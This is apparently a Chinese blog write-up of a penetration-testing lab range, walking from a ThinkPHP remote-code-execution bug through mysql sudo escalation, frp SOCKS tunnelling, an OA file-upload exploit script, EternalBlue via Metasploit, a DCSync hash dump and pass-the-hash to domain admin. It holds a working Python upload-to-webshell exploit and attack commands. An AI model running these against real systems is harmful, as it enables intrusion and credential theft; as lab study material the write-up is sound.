算是第一个打下来的完整渗透靶场,还蛮有意思的

80进去是一个登录页

image-20250715161300415

但是登录不了一点,用fscan扫一下,发现是thinkphp框架,且存在漏洞

image-20250715161325290

做的时候没截图,这一步可以用现成的工具直接打

image-20250715161524201

[+] 目标存在tp5_construct_code_exec_2漏洞

写shell进去蚁剑连接,用户权限是www-data,看不了flag,想办法提取

image-20250715161552679

传LiuEnum脚本上去扫洞,(记得chmod +x)发现可以用mysql提权

image-20250715161843543

进网页查一下用法

https://gtfobins.github.io/gtfobins/mysql/#shell

image-20250715161803305

find命令直接找

 sudo mysql -e '\! find -name \*flag\*' 发现/root/flag/flag01.txt,继续cat

给了个提示要进内网

上传fscan继续扫内网,这里有一个比较坑的地方,就是蚁剑终端无回显,需要将输出结果保存到其他文件再查看

image-20250715162319381

root@ubuntu-web01:~# ./fscan -h 172.22.1.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.18     is alive
(icmp) Target 172.22.1.21     is alive
[*] Icmp alive hosts len is: 4
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.2:88 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[+] MS17-010 172.22.1.21        (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] OsInfo 172.22.1.2   (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
已完成 11/11
[*] 扫描结束,耗时: 6.087067491s

接下来需要搭个frp把内网流量带出来,这样才可以访问到里面的几台机子

网上的教程大多数都是老版本的frp,toml格式的不是很好找

frps.toml

bindPort = 7000
vhostHTTPPort = 8080
transport.tcpMux = true

webServer.port = 7300 #{也可自行修改端口}
webServer.addr = "0.0.0.0" #公网ip或者域名
webServer.user = "admin" #登录用户名{可自行修改}
webServer.password = "admin" #登录密码{可自行修改}`

frpc.toml

serverAddr = "自己的公网服务器ip地址"
serverPort = 7000
transport.tcpMux = true

[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 3002

[proxies.plugin]
type="socks5"

运行命令就是先chmod +x

再./frps -c frps.toml

有时需要加sudo

frp配好之后服务端和客户端就建立好了通信隧道,那么本机或者kali该怎么通过这个隧道呢

本机使用proxifier,建议使用汉化版(网上可以找到

账号密码不用输,如果需要的话在frpc.toml里面加入username=,password=

img

kali的话则使用proxychains4,在它的配置文件/etc/proxychains4里面加入socks5 公网服务器ip 3002

到这里就可以正常访问了

image-20250715165849970

看版本是2.2,存在文件上传和弱密码漏洞,网上一大堆,弱密码admin,admin123

登录上去之后打文件上传

# 1.php为webshell
# 需要修改以下内容:
# url_pre = 'http://<IP>/'
# 'adminuser': '<ADMINUSER_BASE64>',
# 'adminpass': '<ADMINPASS_BASE64>',

import requests

session = requests.session()
url_pre = 'http://<IP>/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'

# url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=<ID>'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': '<ADMINUSER_BASE64>',
'adminpass': '<ADMINPASS_BASE64>',
'yanzm': ''

}

r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
print(filepath)
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

传上马之后找到flag2

好像是在C:\Users\Administrator目录下

接下来打永恒之蓝,kali有可以直接用的poc,在这之前记得配好proxychains4

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
run

打完拿到一个正向连接的shell,连上之后找半天flag,一直找不到,看了一眼wp才发现到这里要打一个DCSync

  • DCSync的原理是利用域控制器之间的数据同步复制
    DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式

此时我们是system权限,可以load kiwi然后抓取用户的哈希值打一个哈希传递

load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
```
meterpreter > kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  fb812eea13a18b7fcdb8e6d67ddc205b       514
1106    Marcus  e07510a4284b3c97c8e7dee970918c5c       512
1107    Charles f6a9881cd5ae709abb4ac9ab87f24617       512
1000    DC01$   625fd1722a3aa917f16ac890ae610843       532480
500     Administrator   10cf89a850fb1cdbe6bb432b859164c8512
1104    XIAORANG-OA01$  6011d85791f965aa3426f6636047a2934096
1108    XIAORANG-WIN7$  f5e265db883e025c263de53053ace2984096

抓到Administrator用户的哈希值,接下来就可以退出了,用crackmapexec直接打

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

心中无难事,只要肯放弃